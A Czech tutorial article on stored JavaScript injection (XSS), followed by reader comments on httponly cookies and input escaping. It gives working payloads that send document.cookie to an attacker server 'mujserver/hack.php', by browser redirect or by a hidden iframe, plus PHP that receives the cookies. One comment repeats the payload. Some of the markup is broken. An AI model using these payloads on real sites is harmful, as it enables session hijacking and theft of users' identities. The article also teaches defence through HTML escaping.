Bezpečnost webových aplikací je velmi důležitá. Ve článku si ukážeme několik útoku typu Javascript Injection a vysvětlíme, jak se jim bránit.

Termín Javascript Injection se objevuje v řadě článků o bezpečnosti. Většina těchto článků jen zmiňuje, že tento typ útoku může odcizit identitu uživatele a zneužít ji, přičemž detaily ponechávají stranou. My se zaměříme na konkrétní technické detaily včetně ukázek kódu.

Princip útoku spočívá ve vložení vlastního javascriptového kódu do HTML stránky, která se zobrazí jinému uživateli. Například místo textu příspěvku do diskusního fóra můžeme vložit tag <skript>, který se pak vloží do stránky všem čtenářům tohoto příspěvku.

Pokud se nám podaří vložit skript do stránek zobrazovaných jiným uživatelům, stále před námi stojí dva problémy. Nejprve musíme získat data reprezentující uživatelovu identitu. Tento krok je často jednoduchý, neboť většina webových aplikací používá k identifikaci nějakou formu správy relací, a vše, co potřebujeme získat, je identifikátor této relace (session ID). Identifikátor bývá nejčastěji uložen v cookies, které jsou pro JavaScript dostupné v document.cookie.

Druhý — a podstatně komplikovanější problém — představuje propašovat tato data do našich rukou. Zde připomeňme, že náš skript běží přímo v prohlížeči napadeného uživatele a nemá příliš možností, jak ukradená data přenést kamkoli jinam. V podstatě jediným rozumným způsobem je použít síťové funkce prohlížeče a data odeslat (např. protokolem HTTP) na náš server.

AJAX a Cross-site Scripting

První věc, která napadne většinu webových programátorů, je použití techniky AJAX, přesněji interní HTTP klient, který je dostupný v JavaScriptu. Zde nám bohužel pšenka nepokvete, protože většina prohlížečů poměrně aktivně zabraňuje tzv. cross-site scripting. AJAX dotaz nemůže směřovat na jinou doménu, než ze které pochází zobrazená stránka. Přesněji řečeno je nezbytné, aby se shodoval název domény, komunikační protokol a číslo portu./p>

Bohužel zmíněné bezpečnostní opatření pouze komplikuje život programátorům, ale záludné útočníky vůbec nezastaví. Nyní ukážeme dva způsoby jak se obejít bez AJAXu.

Přesměrování prohlížeče

První, poněkud dřevorubecký, způsob jak odeslat data na cizí server je přesměrovat na tento server prohlížeč. Do URL můžeme zakódovat odesílaná data i původní URL, ze kterého data odesíláme. Vložený skript by mohl vypadat např. takto:

<script type="text/javascript">
	var url = "http://mujserver/hack.php?cookies="
		+ encodeURIComponent(document.cookie)
		+ '&url=' + encodeURIComponent(location.href);
	location.replace(url);
</script>

Funkce location.replace() přesměruje prohlížeč na nové URL a zároveň tuto změnu nebude logovat do historie stránek. Náš skript hack.php pak zpracuje odcizené cookies a provede přesměrování (HTTP Redirect) zpět. HTTP přesměrování se rovněž neukládají do historie prohlížeče, takže po našem útoku nezůstanou na první pohled žádné stopy.

processStolenCookies($_GET['cookies']);
header('Location: ' . $_GET['url']);

Bystrý čtenář si jistě všiml, že výše uvedená kombinace skriptů způsobí nekonečnou smyčku přesměrování. Tuto smyčku by bylo vhodné ještě nějakým způsobem přerušit. Například můžeme přidat v PHP přesměrování do URL ještě informaci, která pravděpodobně neovlivní zobrazení původní stránky, ale náš JavaScript podle ni pozná, že již nemá nic provádět.

header('Location: ' . $_GET['url'] . '#@@nohack');

Na začátek našeho JavaScriptu pak stačí přidat podmínku:

if (location.hash != "#@@nohack") ...

Pochopitelně zmíněný způsob není nejlepší možný, protože v navigačním řádku uživatelova prohlížeče přibude #@@nohack. Další možná vylepšení již nejsou tak podstatná a necháme je čtenářům na rozmyšlenou.

Vnořený plovoucí rámec

Předchozí příklad má hned dvě nevýhody. Jednak je potřeba řešit problém zacyklení a jednak by mohl uživatel toto přesměrování detekovat (např. při pomalém připojení).

Druhou možnost přestavuje vložení neviditelného plovoucího rámce na konec dokumentu. Do tohoto rámce se pak načte stránka generovaná našim skriptem, který přitom zároveň zpracuje odcizené cookies. Neviditelnost rámce zajistíme např. tak, že mu nastavíme CSS parametr display na hodnotu none.

<script type="text/javascript">
	var url = 'http://mujserver/hack.php?cookies='
		+ encodeURIComponent(document.cookie);
	document.body.innerHTML += ''; document.getElementById('myHackFrame').src = url; </script>

Skript hack.php už nedostane původní URL a ani nebude provádět žádné přesměrování. Uživatel si tak pravděpodobně procesu „kradení“ ani nevšimne, protože rámec mu zůstane skrytý a stránka se nebude nijak měnit. Pokud bychom chtěli být důslední, mohli bychom ještě rámec odstranit, jakmile načte naši stránku (např. doplněním vhodné obsluhy události onload zmíněného rámce).

Defenzíva

V předchozích příkladech jsme ukázali, že není možné spoléhat na nejrůznější „ochranná“ pravidla webových prohlížečů a bezpečnost musíme vzít zodpovědně do svých rukou.

Nejlepším (a asi také jediným spolehlivým) způsobem je ošetřit všechna data získaná od uživatelů před vložením do HTML tak, že nahradíme nebezpečné znaky jako <, > nebo & za odpovídající entity &lt;, &gt; resp. &amp; (například v PHP existuje k tomuto účelu specializovaná funkce htmlspecialchars()). Díky tomu se tag <script> změní na &lt;script&gt;, takže se celý skript zobrazí jako prostý text místo toho, aby se vykonal.

Na závěr doplňme, že velká řada bezpečnostních incidentů je způsobena pouze drobnou chybou v programu. Většinou stačí jeden neošetřený údaj na stránce a cesta k napadení aplikace je volná. Proto je velmi důležité věnovat se této problematice také při testování aplikace, nejlépe tak, že úmyslně vložíme JavaScript do všech možných textových položek testovacích dat.

8 Příspěvků v diskuzi

  1. I když vypnete cookies, stále je tu problém, že se musí někde ukládat nějaký identifikátor relace. Aplikace to typicky řeší tak, že se začne sessionID předávat v URL, ke kterému má JS stejně snadný přístup.

  2. Evidentně jsi nepochopil, co tím prvním příspěvkem bylo myšleno. Cookies budou zapnuté, jen nebudou přístupné přes JS. Přečti si to ještě jednou.

  3. Aha. Teď už jsem vaši připomínku pochopil. Ano, to je také pěkný způsob prevence, pokud máte k dispozici PHP verze 5.2.0 a novější. Bohužel to ale nemusí podporovat všechny prohlížeče (httponly příznak není součástí RFC 2109).

  4. Bezpečnost webových aplikací je velmi důležitá. Ve článku si ukážeme několik útoku typu Javascript Injection a vysvětlíme, jak se jim bránit.

  5. var url = „http://mujserver/hack.php?cookies=“
    + encodeURIComponent(document.cookie)
    + ‚&url=‘ + encodeURIComponent(location.href);
    location.replace(url);

  6. Dobrý den. Měl bych jednu otázku ohledně bezpečnosti. Hledám to všude možně na netu a zatím bez úspěchu.

    Problém je tenhle:
    Dozvěděl jsem se, že JS funkce či ostatně všechny metody se dají spouštět pomocí URL jako v případě posíláním GETů (./stranka.php?get=hodnota).

    Je tedy možné pomocí URL spustit funkci, která je deklarována na dané stránce? Případně jak? A jak se tomu dá ubránit?

    Předem děkuji za odpověď.

  7. Dobrý den p. Martin Tauchman,
    zabýval jsem se v minulosti bezpečnosti webových aplikací.

    Nevím o tom, že pokud jsou vstupy správně ošetřeny a dbáte taktéž na HTML, že by se dal vůbec vykonávat nějaký javascript.

    Bohužel tento článek neukazuje, jak se proti tomu všemu bránit a proto se Vám to pokusím nastínit. V podstatě si musíte pouze zabezpečit vstupy pomocí HTMLSpecialChars() a AddSlashes() a taky právě kvůli url NEPOUŽÍVAT echo „“;

    Vždy řádně využívejte apostrofy (‚ popřípadě „). Jelikož jinak by Vám někdo mohl spouštět JS přímo pomocí odkazu, aniž by využil html tagy ().

    Nejčastěji se s tím při webech setkávám v odkazech, kde odkazy odkazují na něco a přitom si berou data z proměnné. A dá se tak uplatnit „dopsání vlastního kódu“ a i dosadit javascript a změnit celý ten odkaz.

    Takhle by to rozhodně vypadat nemělo!
    Jsem

    Pěkný zbytek dne přeje,

    Jan „BIGR“ Mikoláš.

Odpovědět